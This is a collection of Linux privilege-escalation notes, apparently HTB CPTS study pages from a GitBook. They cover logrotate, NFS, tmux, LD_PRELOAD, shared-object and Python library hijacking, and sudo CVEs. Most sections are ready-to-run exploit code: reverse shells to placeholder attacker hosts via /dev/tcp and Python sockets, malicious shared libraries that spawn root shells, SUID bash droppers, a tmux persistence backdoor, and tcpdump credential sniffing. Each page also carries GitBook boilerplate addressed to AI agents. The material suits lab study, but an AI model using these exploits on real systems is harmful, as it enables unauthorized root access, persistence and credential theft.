# 1. Transfer exploit to target
git clone https://github.com/whotwagner/logrotten.git
scp -r logrotten/ htb-student@target:~/

# 2. Compile on target
ssh htb-student@target
cd logrotten/
gcc -o logrotten logrotten.c

# 3. Create payload for flag extraction
echo "cat /root/flag.txt > /home/htb-student/flag.txt" > payload

# 4. Trigger exploit
echo test >> /home/htb-student/backups/access.log
./logrotten /home/htb-student/backups/access.log -p payload

# 5. Read extracted flag
cat /home/htb-student/flag.txt

🔧 Configuration Mode Detection

Determine Logrotate Mode

# Check main config for mode
grep "create\|compress" /etc/logrotate.conf

# Common modes:
# create    - Creates new log file with specified permissions
# compress  - Compresses old log files

Mode-Specific Exploitation

# For create mode
./logrotten -p ./payload /target/log/file

# For compress mode  
./logrotten -c -p ./payload /target/log/file

🕐 Timing and Execution

Cron Schedule Analysis

# Check when logrotate runs
cat /etc/cron.daily/logrotate
cat /etc/cron.d/ | grep logrotate

# Check last rotation status
cat /var/lib/logrotate.status

Manual Triggering (if possible)

# Force logrotate execution (requires privileges)
sudo logrotate -f /etc/logrotate.conf

# Debug mode (safe testing)
logrotate -d /etc/logrotate.conf

🔍 Detection & Enumeration

Logrotate Vulnerability Check

#!/bin/bash
echo "=== LOGROTATE VULNERABILITY CHECK ==="

echo "[+] Logrotate version:"
logrotate --version

echo "[+] Vulnerable version check:"
version=$(logrotate --version 2>/dev/null | grep -oE "[0-9]+\.[0-9]+\.[0-9]+")
if echo "$version" | grep -qE "(3\.8\.6|3\.11\.0|3\.15\.0|3\.18\.0)"; then
    echo "  [!] VULNERABLE VERSION: $version"
fi

echo "[+] Writable log files:"
find /var/log -writable 2>/dev/null | head -10

echo "[+] Logrotate configuration:"
grep "create\|compress" /etc/logrotate.conf 2>/dev/null | grep -v "#"

echo "[+] Logrotate cron job:"
ls -la /etc/cron.daily/logrotate 2>/dev/null

Log File Analysis

# Find writable log files
find /var/log -type f -writable 2>/dev/null

# Check log file permissions
ls -la /var/log/ | grep $(whoami)

# Log rotation status
cat /var/lib/logrotate.status | head -10

🔑 Quick Reference

Immediate Checks

# Version vulnerability
logrotate --version | grep -E "(3\.8\.6|3\.11\.0|3\.15\.0|3\.18\.0)"

# Writable logs
find /var/log -writable 2>/dev/null

# Configuration mode
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

Emergency Exploitation

# If vulnerable version + writable logs found
git clone https://github.com/whotwagner/logrotten.git
cd logrotten && gcc logrotten.c -o logrotten
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' > payload
./logrotten -p ./payload /writable/log/file

⚠️ Exploit Limitations

Requirements Summary

  • Vulnerable logrotate version (specific versions only)
  • Write permissions on target log files
  • Logrotate execution as privileged user
  • Timing dependency on cron schedule

Success Factors

  • Daily cron execution - Most common schedule
  • Large log files - More likely to trigger rotation
  • Active logging - Files that actually get rotated
  • Correct configuration mode - create vs compress

Logrotate exploitation leverages race conditions in log management - when logrotate runs as root with writable log files, the logrotten exploit can hijack the rotation process for privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/logrotate-exploitation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Miscellaneous Techniques

🎯 Overview

Additional Linux privilege escalation techniques including traffic capture, NFS exploitation, and tmux session hijacking for comprehensive privilege escalation coverage.

📡 Passive Traffic Capture

Network Sniffing for Credentials

# Check if tcpdump available and usable
which tcpdump
tcpdump --version

# Capture network traffic
tcpdump -i any -w capture.pcap

# Real-time credential hunting
tcpdump -i any -A | grep -E "(password|user|login|auth)"

# Capture specific protocols
tcpdump -i any port 21    # FTP
tcpdump -i any port 23    # Telnet  
tcpdump -i any port 80    # HTTP

Tools for Credential Extraction

# net-creds - extract credentials from pcap
python net-creds.py capture.pcap

# PCredz - real-time credential extraction
python PCredz.py -i eth0

# Manual analysis
strings capture.pcap | grep -i "password\|user"

🗂️ Weak NFS Privileges

NFS Export Enumeration

# Check NFS exports
showmount -e target_ip

# Example output:
# /tmp             *
# /var/nfs/general *

Check NFS Configuration

# View NFS exports configuration
cat /etc/exports

# Look for dangerous options:
# no_root_squash - Root on client = root on server
# Example: /tmp *(rw,no_root_squash)

NFS Privilege Escalation

# 1. Create SUID shell on attacker machine (as root)
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
EOF

# 2. Compile shell
gcc shell.c -o shell

# 3. Mount NFS share on attacker machine (as root)
sudo mount -t nfs target_ip:/tmp /mnt

# 4. Copy shell and set SUID
sudo cp shell /mnt/
sudo chmod u+s /mnt/shell

# 5. Execute SUID shell on target
./shell  # Now running as root

📺 Tmux Session Hijacking

Find Tmux Sessions

# Check for running tmux processes
ps aux | grep tmux

# Look for tmux sockets
ls -la /tmp/tmux-*
find / -name "*tmux*" 2>/dev/null

# Check socket permissions
ls -la /shareds  # Custom socket location

Session Hijacking

# List available sessions
tmux list-sessions

# Attach to existing session
tmux attach-session -t session_name

# Attach to socket with custom path
tmux -S /shareds attach

# Example: If socket has weak permissions
# srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds
# And you're in devs group: tmux -S /shareds

Create Hijackable Session (for persistence)

# Create shared session as privileged user
tmux -S /tmp/shared new -s backdoor
chown root:group /tmp/shared

# Later hijack as group member
tmux -S /tmp/shared attach

🔍 Detection & Enumeration

Miscellaneous Techniques Check

#!/bin/bash
echo "=== MISCELLANEOUS TECHNIQUES ENUMERATION ==="

echo "[+] Network capture capabilities:"
which tcpdump wireshark tshark 2>/dev/null

echo "[+] NFS exports (if NFS client available):"
which showmount 2>/dev/null && echo "Can enumerate NFS"

echo "[+] Running tmux sessions:"
ps aux | grep tmux

echo "[+] Tmux sockets:"
find / -name "*tmux*" 2>/dev/null | head -5

echo "[+] Network file shares:"
mount | grep -E "(nfs|cifs|smb)"

echo "[+] Interesting network connections:"
netstat -an | grep -E ":21|:23|:80|:139|:445|:2049"

NFS Specific Enumeration

# Check for NFS mounts
mount | grep nfs

# NFS exports on localhost
showmount -e localhost
showmount -e 127.0.0.1

# Check /etc/exports for misconfigurations
cat /etc/exports | grep "no_root_squash"

🚀 Quick Exploitation Reference

Immediate Opportunities

# Tmux session hijack
ps aux | grep tmux && ls -la /tmp/tmux-* /shareds 2>/dev/null

# NFS no_root_squash check
showmount -e localhost | grep -q "/" && cat /etc/exports

# Traffic capture test
timeout 10 tcpdump -i any -c 10 2>/dev/null && echo "Traffic capture possible"

Emergency Techniques

# Quick tmux hijack
tmux list-sessions 2>/dev/null && tmux attach

# NFS quick check
mount | grep nfs && ls -la /mnt/nfs/ 2>/dev/null

# Basic traffic monitoring
tcpdump -i any -A -c 20 | grep -i "password\|login"

🔑 Key Points

Traffic Capture Value

  • Cleartext protocols - HTTP, FTP, Telnet, SMTP
  • Authentication hashes - NTLM, Kerberos for cracking
  • SNMP community strings - Network device access
  • Database connections - Application credentials

NFS Exploitation Impact

  • SUID binary upload - Direct root privilege escalation
  • Configuration modification - System file access
  • Data exfiltration - Sensitive file access

Tmux Session Benefits

  • Inherited privileges - Session creator’s permissions
  • Persistent access - Session survives disconnection
  • Command history - Previous commands and data
  • Active processes - Running privileged tasks

Miscellaneous techniques cover edge cases and specialized scenarios - traffic capture, NFS misconfigurations, and session hijacking provide additional privilege escalation vectors in specific environments.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/miscellaneous-techniques.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Shared Libraries

🎯 Overview

LD_PRELOAD environment variable allows loading custom shared libraries before program execution, enabling privilege escalation when combined with sudo configurations that preserve environment variables.

🔍 Prerequisites

Check for LD_PRELOAD in Sudo

# Check sudo configuration
sudo -l

# Look for env_keep+=LD_PRELOAD in output:
# env_keep+=LD_PRELOAD

# Example vulnerable entry:
# (root) NOPASSWD: /usr/sbin/apache2 restart

Library Dependencies Analysis

# View shared library dependencies
ldd /bin/ls
ldd /usr/sbin/apache2

# Check LD_PRELOAD current value
echo $LD_PRELOAD

🚀 LD_PRELOAD Exploitation

Create Malicious Library

# Create malicious shared library code
cat > root.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

Compile Shared Library

# Compile as shared library
gcc -fPIC -shared -o root.so root.c -nostartfiles

# Verify compilation
file root.so
# Output: root.so: ELF 64-bit LSB shared object

Execute Privilege Escalation

# Use LD_PRELOAD with sudo command
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

# Should drop to root shell immediately
id
# uid=0(root) gid=0(root) groups=0(root)

🔧 Alternative Payloads

Reverse Shell Library

cat > revshell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'");
}
EOF

gcc -fPIC -shared -o revshell.so revshell.c -nostartfiles
sudo LD_PRELOAD=/tmp/revshell.so /allowed/sudo/command

SUID Binary Creation

cat > suid.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash");
}
EOF

gcc -fPIC -shared -o suid.so suid.c -nostartfiles
sudo LD_PRELOAD=/tmp/suid.so /allowed/sudo/command
/tmp/rootbash -p  # Execute SUID bash

🔍 Detection & Enumeration

LD_PRELOAD Vulnerability Check

#!/bin/bash
echo "=== LD_PRELOAD VULNERABILITY CHECK ==="

echo "[+] Checking sudo configuration for LD_PRELOAD:"
sudo -l 2>/dev/null | grep -i "LD_PRELOAD"

echo "[+] Current LD_PRELOAD value:"
echo $LD_PRELOAD

echo "[+] Available sudo commands with env_keep:"
sudo -l 2>/dev/null | grep -A 10 "env_keep.*LD_PRELOAD"

echo "[+] Compiler availability:"
which gcc g++ 2>/dev/null

Environment Variable Analysis

# Check all environment variables kept by sudo
sudo -l | grep "env_keep"

# Test LD_PRELOAD functionality
echo 'void _init(){system("echo LD_PRELOAD works");}' > test.c
gcc -fPIC -shared -o test.so test.c -nostartfiles
LD_PRELOAD=./test.so ls  # Should show "LD_PRELOAD works"

🔑 Quick Reference

Immediate Checks

# Check for LD_PRELOAD in sudo
sudo -l | grep "LD_PRELOAD"

# Available compilers
which gcc g++

# Sudo commands available
sudo -l | grep "NOPASSWD"

Emergency Exploitation

# Quick LD_PRELOAD escalation
echo 'void _init(){unsetenv("LD_PRELOAD");setuid(0);system("/bin/bash");}' > root.c
gcc -fPIC -shared -o root.so root.c -nostartfiles
sudo LD_PRELOAD=./root.so /allowed/sudo/command

HTB Academy Example

# 1. Check sudo configuration
sudo -l
# Look for: env_keep+=LD_PRELOAD

# 2. Create malicious library
gcc -fPIC -shared -o root.so root.c -nostartfiles

# 3. Execute with any allowed sudo command
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

# 4. Access flag
cat /root/ld_preload/flag.txt

⚠️ Exploitation Requirements

Must Have

  • Sudo access to any command (even non-GTFOBin)
  • env_keep+=LD_PRELOAD in sudoers configuration
  • GCC compiler available on target system
  • Write permissions in accessible directory

Common Scenarios

  • Non-exploitable sudo commands with LD_PRELOAD kept
  • Service restart permissions (apache, nginx, etc.)
  • Safe commands made dangerous by LD_PRELOAD
  • Custom applications with sudo permissions

LD_PRELOAD exploitation transforms safe sudo commands into privilege escalation vectors - environment variable preservation combined with shared library injection bypasses command restrictions for immediate root access.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/shared-libraries.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Shared Object Hijacking

🎯 Overview

Shared object hijacking exploits custom library dependencies in SUID binaries through writable RUNPATH directories, allowing malicious library injection for privilege escalation.

🔍 Prerequisites & Detection

Find SUID Binaries with Custom Libraries

# Find SUID binaries
find / -type f -perm -4000 2>/dev/null

# Check library dependencies
ldd binary_name

# Look for non-standard libraries
# Example: libshared.so => /development/libshared.so

Check RUNPATH Configuration

# Check RUNPATH/RPATH settings
readelf -d binary_name | grep PATH

# Example output:
# 0x000000000000001d (RUNPATH) Library runpath: [/development]

Verify Directory Permissions

# Check if RUNPATH directory is writable
ls -la /development/
# drwxrwxrwx 2 root root 4096 Sep 1 22:06 /development/

# Test write access
touch /development/test && rm /development/test

🚀 Exploitation Process

Step 1: Identify Missing Function

# Copy existing library to trigger error
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

# Execute binary to see missing function
./payroll
# Output: undefined symbol: dbquery

Step 2: Create Malicious Library

# Create malicious shared object
cat > exploit.c << EOF
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
}
EOF

Step 3: Compile and Deploy

# Compile malicious library
gcc exploit.c -fPIC -shared -o /development/libshared.so

# Verify library placement
ls -la /development/libshared.so

Step 4: Execute and Escalate

# Execute SUID binary
./payroll

# Should get root shell
# id
# uid=0(root) gid=1000(user) groups=1000(user)

🔧 Advanced Techniques

Function Discovery Methods

# Use strings to find function names
strings binary_name | grep -E "^[a-zA-Z_][a-zA-Z0-9_]*$"

# Use objdump for detailed analysis
objdump -T binary_name

# Use nm for symbol table
nm -D binary_name

# Use strace to see runtime calls
strace ./binary_name 2>&1 | grep -E "open.*\.so"

Multiple Function Implementation

# If binary needs multiple functions
cat > multi.c << EOF
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    setuid(0);
    system("/bin/bash -p");
}

void calculate_salary() {
    return;  // Dummy implementation
}

void print_report() {
    return;  // Dummy implementation
}
EOF

🔍 Detection & Enumeration

Shared Object Hijacking Check

#!/bin/bash
echo "=== SHARED OBJECT HIJACKING CHECK ==="

echo "[+] SUID binaries with custom libraries:"
find / -type f -perm -4000 2>/dev/null | while read binary; do
    libs=$(ldd "$binary" 2>/dev/null | grep -v "linux-vdso\|ld-linux" | awk '{print $3}')
    for lib in $libs; do
        if [ ! -z "$lib" ] && [ "$lib" != "/lib/x86_64-linux-gnu/"* ] && [ "$lib" != "/usr/lib/"* ]; then
            echo "  Binary: $binary"
            echo "  Custom lib: $lib"
            dir=$(dirname "$lib")
            if [ -w "$dir" ]; then
                echo "  [!] WRITABLE: $dir"
            fi
        fi
    done
done

echo "[+] Checking RUNPATH configurations:"
find / -type f -perm -4000 2>/dev/null | while read binary; do
    runpath=$(readelf -d "$binary" 2>/dev/null | grep "RUNPATH\|RPATH")
    if [ ! -z "$runpath" ]; then
        echo "  Binary: $binary"
        echo "  $runpath"
    fi
done

Quick Analysis Commands

# Check specific binary
ldd ./suspicious_binary
readelf -d ./suspicious_binary | grep PATH

# Test library loading
LD_LIBRARY_PATH=/tmp ./binary_name

# Check writable library directories
find /opt /usr/local /development -type d -writable 2>/dev/null

🔑 Quick Reference

Immediate Checks

# Find SUID with custom libs
find / -type f -perm -4000 -exec ldd {} \; 2>/dev/null | grep -E "/opt/|/development/|/usr/local/"

# Check RUNPATH
find / -perm -4000 -exec readelf -d {} \; 2>/dev/null | grep "RUNPATH\|RPATH"

# Writable lib directories
ls -la /development/ /opt/lib/ /usr/local/lib/ 2>/dev/null

Emergency Exploitation

# If vulnerable SUID found with writable RUNPATH
echo 'void FUNCTION_NAME(){setuid(0);system("/bin/sh -p");}' > exploit.c
gcc exploit.c -fPIC -shared -o /writable/path/library.so
./vulnerable_suid_binary

HTB Academy Workflow

# 1. Find SUID binary
find / -type f -perm -4000 2>/dev/null

# 2. Check dependencies and RUNPATH
ldd ./payroll
readelf -d ./payroll | grep PATH

# 3. Identify missing function
./payroll  # Note error: undefined symbol: dbquery

# 4. Create and compile exploit
gcc exploit.c -fPIC -shared -o /development/libshared.so

# 5. Execute for root shell
./payroll

Shared object hijacking exploits custom library loading mechanisms - writable RUNPATH directories combined with SUID binaries create privilege escalation opportunities through malicious library injection.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/shared-object-hijacking.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Python Library Hijacking

🎯 Overview

Python library hijacking exploits Python’s module import system through writable modules, path manipulation, or PYTHONPATH environment variable abuse to achieve privilege escalation.

🔍 Attack Vectors

1. Wrong Write Permissions

  • Writable Python modules in system directories
  • SUID Python scripts importing vulnerable modules
  • Direct code injection into existing modules

2. Library Path Manipulation

  • Higher priority paths in sys.path that are writable
  • Module name collision with legitimate modules
  • Path precedence exploitation

3. PYTHONPATH Environment Variable

  • sudo SETENV permissions for Python
  • Environment variable manipulation to redirect imports
  • Custom module directories via PYTHONPATH

🔍 Enumeration & Detection

Check Python Paths

# List Python import paths (priority order)
python3 -c 'import sys; print("\n".join(sys.path))'

# Check for writable paths
python3 -c 'import sys; print("\n".join(sys.path))' | while read path; do
    if [ -w "$path" 2>/dev/null ]; then
        echo "WRITABLE: $path"
    fi
done

Find SUID Python Scripts

# Find SUID Python scripts
find / -name "*.py" -perm -4000 2>/dev/null

# Check script contents
cat suspicious_script.py

Check Sudo Permissions

# Look for SETENV permissions
sudo -l | grep -E "(SETENV|python)"

# Example: (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

🚀 Exploitation Methods

Method 1: Writable Module Hijacking

# 1. Find SUID Python script
ls -la mem_status.py
# -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

# 2. Check imports
cat mem_status.py
# import psutil

# 3. Find module location
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

# 4. Check permissions
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# -rw-r--rw- 1 root staff 87339 Dec 13 20:07

# 5. Inject malicious code
# Edit the virtual_memory() function:
# def virtual_memory():
#     import os
#     os.system('id')  # or os.system('/bin/bash')

Method 2: Path Precedence Exploitation

# 1. Check Python paths
python3 -c 'import sys; print("\n".join(sys.path))'

# 2. Find writable higher-priority directory
ls -la /usr/lib/python3.8/
# drwxr-xrwx 30 root root 20480 Dec 14 16:26

# 3. Create malicious module
cat > /usr/lib/python3.8/psutil.py << EOF
#!/usr/bin/env python3
import os

def virtual_memory():
    os.system('id')
    # Return None to avoid attribute errors
EOF

# 4. Execute SUID script
sudo python3 mem_status.py

Method 3: PYTHONPATH Environment Variable

# 1. Check sudo SETENV permissions
sudo -l | grep SETENV

# 2. Create malicious module in accessible directory
cat > /tmp/psutil.py << EOF
#!/usr/bin/env python3
import os

def virtual_memory():
    os.system('/bin/bash')
EOF

# 3. Execute with custom PYTHONPATH
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

🔧 Advanced Techniques

Multi-Function Module Creation

# Create comprehensive replacement module
cat > /tmp/psutil.py << EOF
#!/usr/bin/env python3
import os

def virtual_memory():
    os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')
    # Return fake object to avoid errors
    class FakeMemory:
        def __init__(self):
            self.total = 100
            self.available = 80
    return FakeMemory()

# Add other common functions to avoid errors
def cpu_percent(): return 50
def disk_usage(path): return None
EOF

Reverse Shell Integration

cat > /tmp/hijacked_module.py << EOF
#!/usr/bin/env python3
import os
import socket
import subprocess

def target_function():
    # Reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker_ip", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])
EOF

🔍 Detection Script

#!/bin/bash
echo "=== PYTHON LIBRARY HIJACKING CHECK ==="

echo "[+] Python paths (priority order):"
python3 -c 'import sys; print("\n".join(sys.path))' 2>/dev/null

echo "[+] Writable Python paths:"
python3 -c 'import sys; print("\n".join(sys.path))' 2>/dev/null | while read path; do
    if [ -w "$path" 2>/dev/null ]; then
        echo "  WRITABLE: $path"
    fi
done

echo "[+] SUID Python scripts:"
find / -name "*.py" -perm -4000 2>/dev/null

echo "[+] Python sudo permissions:"
sudo -l 2>/dev/null | grep -E "(SETENV.*python|python.*SETENV)"

echo "[+] Writable site-packages:"
find /usr -name "site-packages" -writable 2>/dev/null
find /usr -name "dist-packages" -writable 2>/dev/null

🔑 Quick Reference

Immediate Checks

# Check Python paths
python3 -c 'import sys; print("\n".join(sys.path))'

# Find SUID Python scripts
find / -name "*.py" -perm -4000 2>/dev/null

# Check sudo SETENV
sudo -l | grep SETENV | grep python

Emergency Exploitation

# If writable high-priority path found
echo 'import os; def target_function(): os.system("/bin/bash")' > /writable/path/module.py

# If PYTHONPATH manipulation allowed
sudo PYTHONPATH=/tmp/ python3 script.py

# Quick module replacement
cp legitimate_module.py malicious_module.py
# Edit malicious_module.py to add: os.system('/bin/bash')

HTB Academy Lab Example

# 1. Connect to target
ssh htb-student@target

# 2. Check environment
ls  # mem_status.py
cat mem_status.py
# #!/usr/bin/env python3
# import psutil
# available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

# 3. Check sudo permissions
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /home/htb-student/mem_status.py

# 4. Find writable psutil module
grep -r "def virtual_memory*" /usr/
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# -rw-r--r-- 1 htb-student staff 87657 Jun 8 09:21

# 5. Edit psutil module
vim /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# In virtual_memory() function, add:
# import os
# os.system('cat /root/flag.txt')

# 6. Execute for flag
sudo /usr/bin/python3 /home/htb-student/mem_status.py
# Result: HTB{...

🔧 Common Python Modules to Target

Frequently Imported Modules

# Common targets for hijacking
os, sys, subprocess, socket
requests, urllib, json
psutil, pandas, numpy
flask, django, tornado

Module Discovery in Scripts

# Extract imports from Python scripts
grep -E "^import |^from .* import" script.py

# Find all Python scripts and their imports
find / -name "*.py" -exec grep -l "import" {} \; 2>/dev/null

Python library hijacking exploits the module import system - writable library paths, path precedence, and environment variable manipulation can redirect imports to malicious code for privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/python-library-hijacking.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Sudo CVE Exploits

🎯 Overview

Known sudo vulnerabilities provide direct privilege escalation through heap buffer overflow (Baron Samedit) and policy bypass exploits affecting specific sudo versions.

🔥 CVE-2021-3156 (Baron Samedit)

Vulnerability Details

  • Impact: Heap-based buffer overflow → root shell
  • Affected Versions:
    • 1.8.31 (Ubuntu 20.04)
    • 1.8.27 (Debian 10)
    • 1.9.2 (Fedora 33)
  • Existed: Over 10 years undetected

Version Check

# Check sudo version
sudo -V | head -n1
# Sudo version 1.8.31

# Check OS version
cat /etc/lsb-release
# DISTRIB_RELEASE=20.04

Exploitation

# 1. Download Baron Samedit exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

# 2. Compile exploit
make

# 3. Check available targets
./sudo-hax-me-a-sandwich
# 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
# 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
# 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

# 4. Execute with target ID
./sudo-hax-me-a-sandwich 1  # For Ubuntu 20.04
# Result: root shell

🔓 CVE-2019-14287 (Sudo Policy Bypass)

Vulnerability Details

  • Impact: User ID bypass → privilege escalation
  • Affected: All versions below 1.8.28
  • Method: Negative user ID (-1) processed as UID 0 (root)

Prerequisites

# Need sudo access to any command
sudo -l
# User may run: (ALL) /usr/bin/id

Exploitation

# Check user ID
cat /etc/passwd | grep $(whoami)
# user:x:1005:1005:user,,,:/home/user:/bin/bash

# Execute with negative ID
sudo -u#-1 id
# uid=0(root) gid=1005(user) groups=1005(user)

# Get full root shell
sudo -u#-1 /bin/bash

HTB Academy Lab Example (CVE-2019-14287)

# 1. Connect to target
ssh htb-student@target

# 2. Check sudo permissions
bash -i
sudo -l
# User htb-student may run the following commands:
#     (ALL, !root) /bin/ncdu

# 3. Check ncdu manual for exploitation
man -P cat ncdu | grep -A 5 "b   Spawn shell"
# Option 'b' spawns shell in current directory

# 4. Execute with negative user ID
sudo -u#-1 /bin/ncdu
# Press 'b' in ncdu interface

# 5. Get root shell and read flag
id  # uid=0(root)
cat /root/flag.txt

🔍 Version Enumeration

Sudo Version Check

# Basic version check
sudo -V | head -n1

# Detailed version info
sudo -V | grep -E "(version|release)"

# Check for specific vulnerable versions
sudo -V | grep -E "(1\.8\.(31|27|21)|1\.9\.2)"

OS Version Correlation

# Ubuntu version
cat /etc/lsb-release
lsb_release -a

# Debian version
cat /etc/debian_version

# Generic OS info
cat /etc/os-release

🚀 Quick Exploitation

CVE-2021-3156 Quick Check

#!/bin/bash
version=$(sudo -V 2>/dev/null | head -n1 | grep -oE "[0-9]+\.[0-9]+\.[0-9]+")
if echo "$version" | grep -qE "(1\.8\.(31|27|21)|1\.9\.[0-2])"; then
    echo "[!] VULNERABLE to CVE-2021-3156: $version"
    echo "Download: https://github.com/blasty/CVE-2021-3156.git"
fi

CVE-2019-14287 Quick Check

#!/bin/bash
version=$(sudo -V 2>/dev/null | head -n1 | grep -oE "[0-9]+\.[0-9]+\.[0-9]+")
if sudo -l >/dev/null 2>&1; then
    if echo "$version" | grep -qE "1\.[0-7]\.|1\.8\.(0|1[0-9]|2[0-7])"; then
        echo "[!] VULNERABLE to CVE-2019-14287: $version"
        echo "Exploit: sudo -u#-1 /bin/bash"
    fi
fi

🔧 Exploitation Scripts

Baron Samedit Automation

#!/bin/bash
echo "=== CVE-2021-3156 BARON SAMEDIT CHECK ==="

version=$(sudo -V 2>/dev/null | head -n1 | grep -oE "[0-9]+\.[0-9]+\.[0-9]+")
echo "Sudo version: $version"

if echo "$version" | grep -qE "(1\.8\.(31|27|21)|1\.9\.[0-2])"; then
    echo "[!] VULNERABLE to CVE-2021-3156"
    
    if [ ! -d "CVE-2021-3156" ]; then
        echo "[+] Downloading exploit..."
        git clone https://github.com/blasty/CVE-2021-3156.git
        cd CVE-2021-3156 && make
    fi
    
    echo "[+] Available exploit targets:"
    ./CVE-2021-3156/sudo-hax-me-a-sandwich 2>/dev/null || echo "Compile first with 'make'"
else
    echo "[-] Not vulnerable to CVE-2021-3156"
fi

Policy Bypass Test

#!/bin/bash
echo "=== CVE-2019-14287 POLICY BYPASS CHECK ==="

if sudo -l >/dev/null 2>&1; then
    echo "[+] Sudo access available"
    version=$(sudo -V 2>/dev/null | head -n1 | grep -oE "[0-9]+\.[0-9]+\.[0-9]+")
    
    if echo "$version" | grep -qE "1\.[0-7]\.|1\.8\.(0|1[0-9]|2[0-7])"; then
        echo "[!] VULNERABLE to CVE-2019-14287: $version"
        echo "[+] Testing exploit:"
        echo "sudo -u#-1 id"
    else
        echo "[-] Not vulnerable to CVE-2019-14287"
    fi
else
    echo "[-] No sudo access"
fi

🔑 Quick Reference

Immediate Checks

# Version vulnerability check
sudo -V | grep -E "(1\.8\.(31|27|21)|1\.9\.[0-2])"  # CVE-2021-3156
sudo -V | grep -E "1\.[0-7]\.|1\.8\.(0|1[0-9]|2[0-7])"  # CVE-2019-14287

# Sudo access check
sudo -l

Emergency Exploitation

# CVE-2019-14287 (if vulnerable version + sudo access)
sudo -u#-1 /bin/bash

# CVE-2021-3156 (if vulnerable version)
